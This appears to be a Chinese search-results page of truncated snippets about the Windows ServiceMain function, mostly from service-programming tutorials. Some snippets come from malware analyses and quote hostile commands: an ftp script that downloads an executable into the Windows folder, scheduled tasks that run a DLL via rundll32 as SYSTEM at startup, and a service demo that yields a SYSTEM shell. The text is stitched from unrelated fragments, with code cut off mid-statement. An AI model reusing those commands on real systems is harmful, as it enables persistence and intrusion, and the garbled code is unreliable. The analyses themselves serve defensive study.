SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain... } return 0; } 在主函数入口点中,你可以快速调用StartServiceCtrlDispatcher,以便SCM可以调用你的服务入口点(上例中的ServiceMain...服务入口点 VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL;...g_ServiceStatus) == FALSE) { OutputDebugString(_T( "My Sample Service: ServiceMain...&g_ServiceStatus) == FALSE) { OutputDebugString(_T( "My Sample Service: ServiceMain
并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数,用来处理服务任务。...比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode?...这个函数使用 svcTable 查询要启动的服务使用的DLL,调用DLL导出的ServiceMain()函数来启动服务,然后返回。...DLL服务实现 DLL程序的编写比较简单,只要实现一个ServiceMain()函数和一个服务控制程序,在ServiceMain()函数里用RegisterServiceCtrlHandler...C:/>sc start iprip "cmd /k whoami" 1 NT AUTHORITY/SYSTEM SvcHostDLL: ServiceMain(3, IPRIP) called
g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain...{ SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain...GetLastError (); } return 0; } 在主函数入口点中,你可以快速调用StartServiceCtrlDispatcher,以便SCM可以调用你的服务入口点(上例中的ServiceMain...服务入口点 VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; // Register...g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T( "My Sample Service: ServiceMain
基本写法 需要的有: 服务入口函数: void WINAPI ServiceMain(int argc, char* argv[]) 服务控制函数(暂停、关机一些命令的控制) ServiceCtrlHandler...m_ServiceStatusHandle; // 服务状态句柄 SERVICE_STATUS m_ServiceStatus; // 服务状态结构体,保存服务程序的一些信息 // 命令行参数可加可不加 void WINAPI ServiceMain...DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext); // 服务控制函数 LPVOID myContext; void WINAPI ServiceMain...lpServiceName = "myService"; // 服务程序名称 DispatchTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain
void ServiceMain(int argc, char** argv) { // 初始化服务类型、 状态、 接受的控制方法以及期待的返回值 ServiceStatus.dwServiceType...entry; entry.lpServiceName = L"MemoryStatus"; entry.lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain
DLL 的ServiceMain函数主要是为了执行 main_malware,其中包含后门的代码。 首先,后门从注册表中读取配置并保存在 result结构体中,后续传递给 sConfig。...WinHttpQueryDataAvailable” fullword ascii condition: pe.is_pe and pe.characteristics & pe.DLL and pe.exports(“ServiceMain
0; } 我们传入0x10则代表枚举当前系统中的独占一个进程的服务,代码需要使用管理员权限运行,输出效果图如下所示; 编写SCM系统服务 Windows 服务程序的主体框架需要包括关键的两个函数,其中ServiceMain...(LPSERVICE_MAIN_FUNCTION)ServiceMain: 是指向服务入口函数 ServiceMain 的指针。当 SCM 启动服务时,将调用这个函数。...#include // 服务入口函数以及处理回调函数 void __stdcall ServiceMain(DWORD dwArgc, char *lpszArgv); void...// 注册服务入口函数 SERVICE_TABLE_ENTRY stDispatchTable[] = { { g_szServiceName, (LPSERVICE_MAIN_FUNCTION)ServiceMain..., { NULL, NULL } }; ::StartServiceCtrlDispatcher(stDispatchTable); return 0; } void __stdcall ServiceMain
信息输出文件*/ SERVICE_STATUS ServiceStatus; /*服务状态*/ SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/ void ServiceMain...ServiceTable[0].lpServiceName = WserviceName; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain...: break; } /* Report current status */ SetServiceStatus(hStatus, &ServiceStatus); return; } void ServiceMain
注册为自启动 AutoRunService(); return 0; } 创建标准服务程序: #include // 服务入口函数以及处理回调函数 void __stdcall ServiceMain...// 注册服务入口函数 SERVICE_TABLE_ENTRY stDispatchTable[] = { { g_szServiceName, (LPSERVICE_MAIN_FUNCTION)ServiceMain...}, { NULL, NULL } }; ::StartServiceCtrlDispatcher(stDispatchTable); return 0; } void __stdcall ServiceMain
*信息输出文件*/ SERVICE_STATUS ServiceStatus; /*服务状态*/ SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/ void ServiceMain...ServiceTable[0].lpServiceName = WserviceName; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain.../* Report current status */ SetServiceStatus(hStatus, &ServiceStatus); return; } void ServiceMain
在进程中运行的各个服务的入口点函数ServiceMain 3....m_csSrvName, this); } 服务的入口函数 服务的入口函数是利用宏定义的一个函数,每当需要添加一个服务的时候都需要调用宏IMPLAMENT_SERVICE_MAIN来定义一个对应的服务入口ServiceMain...,该函数的定义如下: #define IMPLAMENT_SERVICE_MAIN(srvName, className)\ VOID WINAPI _ServiceMain_##className
Mian方法中调用TestAgentServices.ServiceMain(); 来引导进入我们上面新建的服务类。
首先实现对应的服务端代码,建立serviceMain模块: ? 编写客户端代码,建立clientMain模块: ? Python服务端和客户端测试,首先启动服务端,然后启动客户端: ?
echo get a.exe c:\windows\update.exe>>s&echo bye 系统启动执行 Mysa1 rundll32.exe c:\windows\debug\item.dat,ServiceMain...s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p 系统启动执行 ok rundll32.exe c:\windows\debug\ok.dat,ServiceMain...ru "system" /sc onstart /F schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain...lsmosee.exe" /ru "system" /sc onstart /F schtasks /create /tn "ok" /tr "rundll32.exe c:\windows\debug\ok.dat,ServiceMain
导出函数名代表了真实意图,包括配置更新(DllUpdate)、创建服务(Install)、卸载服务(Uninstall)、服务启动函数(ServiceMain)。
ServiceMain中创建线程用于启动模块 ? 每隔固定时间启动 ? 创建进程启动 ? 注册表 ?
SetServiceStatus的封装,去除重复代码调用 //Refer to: https://docs.microsoft.com/en-us/windows/win32/services/writing-a-servicemain-function...return SetServiceStatus(ctx.m_svcStatusHandle, &ctx.m_svcStatus); } //Each Service binding a ServiceMain
class Program { static void Main(String[] args) { // 引导进入我的服务控制类 MyService.ServiceMain
领取专属 10元无门槛券
手把手带您无忧上云